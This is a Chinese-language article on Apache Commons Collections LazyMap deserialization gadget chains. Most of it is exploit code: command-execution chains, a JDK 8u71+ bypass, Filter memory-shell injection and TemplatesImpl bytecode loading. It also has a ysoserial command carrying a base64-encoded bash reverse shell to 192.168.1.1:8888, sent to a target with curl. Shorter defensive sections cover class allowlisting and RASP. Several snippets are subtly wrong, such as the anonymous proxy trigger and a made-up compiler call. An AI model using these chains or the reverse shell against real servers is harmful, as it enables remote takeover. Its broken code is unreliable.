Java LazyMap的深度利用技巧
字数 954 2025-08-29 08:29:59

Apache Commons Collections LazyMap深度利用与防御指南

一、LazyMap核心机制

LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer转换器:

public class LazyMap extends AbstractMapDecorator {
    private final Transformer factory;
    
    public Object get(Object key) {
        if (!map.containsKey(key)) { // 当Key不存在时
            Object value = factory.transform(key); // 触发转换器
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

关键特性:

  • 延迟加载机制:只有在首次访问不存在的key时才会触发转换
  • Transformer接口:允许自定义键值转换逻辑
  • 装饰器模式:扩展HashMap的功能而不修改其结构

二、经典攻击链构造(CC1)

1. 基础利用代码

// 构造命令执行链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            return method.invoke(lazyMap, args);
        }
    }
);

// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();

// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();

触发原理

  1. 反序列化proxyMap时触发InvocationHandler.invoke()
  2. 调用LazyMap.get()方法
  3. 执行ChainedTransformer.transform()链式调用
  4. 最终执行Runtime.exec()命令

三、绕过技巧

1. JDK 8u71+ 绕过(结合TiedMapEntry)

// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");

// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo"); // 初始化HashSet

// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);

// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 注入恶意Entry

绕过原理

  • 利用TiedMapEntry.toString()自动调用getValue()
  • HashSet反序列化时自动触发hashCode()计算
  • 不依赖动态代理机制,适用于高版本JDK

四、内存马注入技巧

1. Web层内存马(Filter型)

Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};

Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));

2. 字节码驻留技巧

// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
    new ConstantTransformer(TemplatesImpl.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getOutputProperties", null, null)
};

五、防御对抗艺术

1. 安全反序列化实现

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("java.lang.String", "java.util.ArrayList");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException("Unauthorized class: ", className);
        }
        return super.resolveClass(desc);
    }
}

2. RASP防御示例

// 使用Java Agent拦截关键方法
public class DeserializationAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/util/Map")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                ClassVisitor cv = new LazyMapDetector(cw);
                cr.accept(cv, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc, 
        String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("get")) {
            mv.visitCode();
            mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkLazyMapAccess");
            mv.visitEnd();
        }
        return mv;
    }
}

六、检测与验证

1. 漏洞验证命令

# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin

# 发送到测试环境
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize

2. 代码审计关注点

// 危险调用模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
XStream.fromXML(xmlInput) // XStream反序列化

七、高级利用技巧

1. 利用BadAttributeValueExpException绕过防御

// 构造LazyMap链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// 构造TiedMapEntry并注入恶意对象
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);

// 反射设置val属性
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);

// 序列化触发
serialize(exp);

2. 非Runtime.exec()执行方式

// 基于类加载的字节码注入
String code = "public class Evil { static { Runtime.getRuntime().exec(\"calc\"); } }";
byte[] bytecode = new JavaCompiler().compile(code);

// 构造TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Evil");

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};

八、总结与演进方向

攻击趋势

  • 从单一链式调用 → 多技术组合(如JNDI + 反序列化)
  • 从本地命令执行 → 远程代码加载(规避本地特征检测)

防御策略

  1. 启用SecurityManager限制反射操作
  2. 使用SerialKiller等安全反序列化库
  3. 定期更新Commons Collections等组件版本
  4. 实施最小权限原则,限制敏感操作
  5. 部署RASP进行运行时保护

演进思考

  • 攻击本质:利用Java反序列化机制将数据结构转换为代码执行
  • 防御哲学:输入验证、权限控制、行为监控三位一体
  • 未来方向:结合AI技术进行异常行为检测和防御
Apache Commons Collections LazyMap深度利用与防御指南 一、LazyMap核心机制 LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer转换器: 关键特性: 延迟加载机制:只有在首次访问不存在的key时才会触发转换 Transformer接口:允许自定义键值转换逻辑 装饰器模式:扩展HashMap的功能而不修改其结构 二、经典攻击链构造(CC1) 1. 基础利用代码 触发原理 反序列化proxyMap时触发InvocationHandler.invoke() 调用LazyMap.get()方法 执行ChainedTransformer.transform()链式调用 最终执行Runtime.exec()命令 三、绕过技巧 1. JDK 8u71+ 绕过(结合TiedMapEntry) 绕过原理 利用TiedMapEntry.toString()自动调用getValue() HashSet反序列化时自动触发hashCode()计算 不依赖动态代理机制,适用于高版本JDK 四、内存马注入技巧 1. Web层内存马(Filter型) 2. 字节码驻留技巧 五、防御对抗艺术 1. 安全反序列化实现 2. RASP防御示例 六、检测与验证 1. 漏洞验证命令 2. 代码审计关注点 七、高级利用技巧 1. 利用BadAttributeValueExpException绕过防御 2. 非Runtime.exec()执行方式 八、总结与演进方向 攻击趋势 从单一链式调用 → 多技术组合(如JNDI + 反序列化) 从本地命令执行 → 远程代码加载(规避本地特征检测) 防御策略 启用SecurityManager限制反射操作 使用SerialKiller等安全反序列化库 定期更新Commons Collections等组件版本 实施最小权限原则,限制敏感操作 部署RASP进行运行时保护 演进思考 攻击本质:利用Java反序列化机制将数据结构转换为代码执行 防御哲学:输入验证、权限控制、行为监控三位一体 未来方向:结合AI技术进行异常行为检测和防御